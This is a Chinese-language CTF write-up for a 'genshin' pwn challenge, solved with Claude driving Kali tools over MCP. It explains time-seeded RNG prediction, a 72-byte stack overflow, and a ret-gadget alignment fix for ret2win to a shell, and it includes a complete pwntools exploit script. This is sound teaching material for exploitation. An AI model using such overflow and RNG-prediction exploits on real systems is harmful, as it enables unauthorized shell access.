1.直接使用Claude进行求解,这里需要调用kali中的工具库,通过MCP协议进行连接,在测试之前,先配置好武器库及MCP协议,仅仅使用Windows本地环境,很浪费时间。

2.和AI不断的沟通交流,检查MCP协议是否可用

3.做好基础配置,剩下的就交给AI

解题思路如下所示:
一、信息收集
checksec查看保护机制:
checksec --file=genshin

nm 列出关键符号:abyss_gateway、secret_contract、perform_wish、add_item、recharge、main_menu。

二、关键函数定位(反汇编)
1.Win函数 - abyss_gateway @ 0x40135b

-
漏洞函数 --- secret_contract @ 0x401520

-
触发路径 --- perform_wish

三、利用约束
- 初始
1600原石,单抽160,最多10抽 recharge是假的(只printf报错),加不了原石90抽保底完全够不着 → 靠概率打
四、突破:RNG 可预测

五、Payload 构造
栈布局:
[rbp-0x40] buf[64]
[rbp-0x08] saved rbp
[rbp+0x00] return addr
溢出到返回地址需要 64 + 8 = 72字节。
最朴素方案:返回地址直接填 abyss_gateway: 'A'*72 + p64(0x40135b) 但会 SIGSEGV。
对齐坑 x86-64 ABI 要求 call 前rsp 16对齐,call 后函数入口处 rsp ≡ 8 (mod 16)。secret_contract 正常返回时 rsp ≡ 0 (mod 16)。
我们用 ret 跳到 abyss_gateway,相当于让它"被ret调用而不是 call 调用",进入时 rsp ≡ 0 (mod 16)。它内部 push rbp 后 rsp ≡ 8,再 call system 把 ret addr 压栈,进 system 时 rsp ≡ 0 ------ 错位。system 内部 movaps 要求 16 对齐 → #GP。
修复:插一个 ret gadget
在 _init 里 0x40101a 有个干净的 ret。最终 payload:
'A'*72 + p64(0x40101a) + p64(0x40135b)
执行流:
- secret_contract ret → 弹 0x40101a,rsp 增 8
- 0x40101a ret → 弹 0x40135b,rsp 再增 8 → rsp ≡ 0
- 进 abyss_gateway,push rbp → rsp ≡ 8,call system 后 rsp ≡ 0 ✓
六、完整流程
find_seed()# 本机模拟,挑最快出 Columbina 的 tbusy-wait直到time() == t# 精确到那一秒remote(host, port)# 服务器立刻 srand(t)- 抽
N次(N= 预测的命中抽数) - 第
N抽出5★ Columbina→ 进secret_contract - 收到
"Sign here..."提示 send 'A'*72 + p64(0x40101a) + p64(0x40135b)printf把溢出后的buf当成%s打印(不影响)secret_contract ret → ret gadget → abyss_gateway → system("/bin/sh")
10.p.interactive() -> shell
七、调试中踩到的坑
pwn.py文件名:from pwn import *把自己import了,NameError。改名final.py或solve.py。- 栈对齐:直接
ret到win 函数 segfault,加ret gadget 解决。 - 服务器
idle超时:~75分钟没动作就断,长挂的shell要发心跳。 - 每抽都消耗
2个rand():第一个定稀有度,第二个定具体物品。模拟时不能漏。 - 保底逻辑:
pity > 89时跳过稀有度判定,但rand()还是要消耗,模拟里要忠实复现。
八、技术栈一句话总结
利用 srand(time(NULL)) 的 RNG 可预测性,精确 timing 把服务器拽到能触发BOF的代码路径,再用ret gadget修栈对齐 ret2win 拿 shell。最终的exp如下所示:
#!/usr/bin/env python3
from pwn import *
import time, sys, ctypes
context.log_level = 'warn'
HOST, PORT = 'IP地址', 端口号 #修改成靶机IP及端口号
ABYSS = 0x40135b
RET = 0x40101a
PAYLOAD = b'A' * 72 + p64(RET) + p64(ABYSS)
libc = ctypes.CDLL('libc.so.6')
def predict(seed):
libc.srand(ctypes.c_uint(seed))
pity = 0
for i in range(10):
r1 = ctypes.c_int(libc.rand()).value % 1000
pity += 1
if pity > 89:
r1 = 0
r2 = ctypes.c_int(libc.rand()).value
if r1 <= 5:
return (i + 1, r2 % 8)
return None
def find_seed():
now = int(time.time())
cands = []
for d in range(2, 800):
s = now + d
r = predict(s)
if r and r[1] == 7:
cands.append((d, s, r[0]))
cands.sort(key=lambda x: x[0])
return cands
cands = find_seed()
print(f'[*] candidates: {cands[:5]}')
if not cands:
print('[-] no Columbina seed in 800s window')
sys.exit(1)
delta, target, n = cands[0]
print(f'[+] picked seed={target} wait={delta}s wishes={n}')
while time.time() < target - 0.2:
time.sleep(0.3)
while time.time() < target:
pass
print(f'[*] connecting at t={time.time():.3f}')
p = remote(HOST, PORT, timeout=10)
for _ in range(n - 1):
p.recvuntil(b'Choice > ', timeout=6)
p.sendline(b'1')
p.recvuntil(b'Choice > ', timeout=6)
p.sendline(b'1')
if b'Sign here' not in p.recvuntil(b'Sign here', timeout=12):
print('[-] missed Columbina (clock drift?). Rerun.')
sys.exit(1)
print('[+] secret_contract reached, sending ROP payload')
p.recvuntil(b'> ', timeout=4)
p.sendline(PAYLOAD)
time.sleep(0.4)
print('[+] shell is yours - type commands, \"exit\" to quit\n')
p.interactive()
将IP地址及端口,改写成自己的就行,flag在env环境变量中。


成功提交flag。
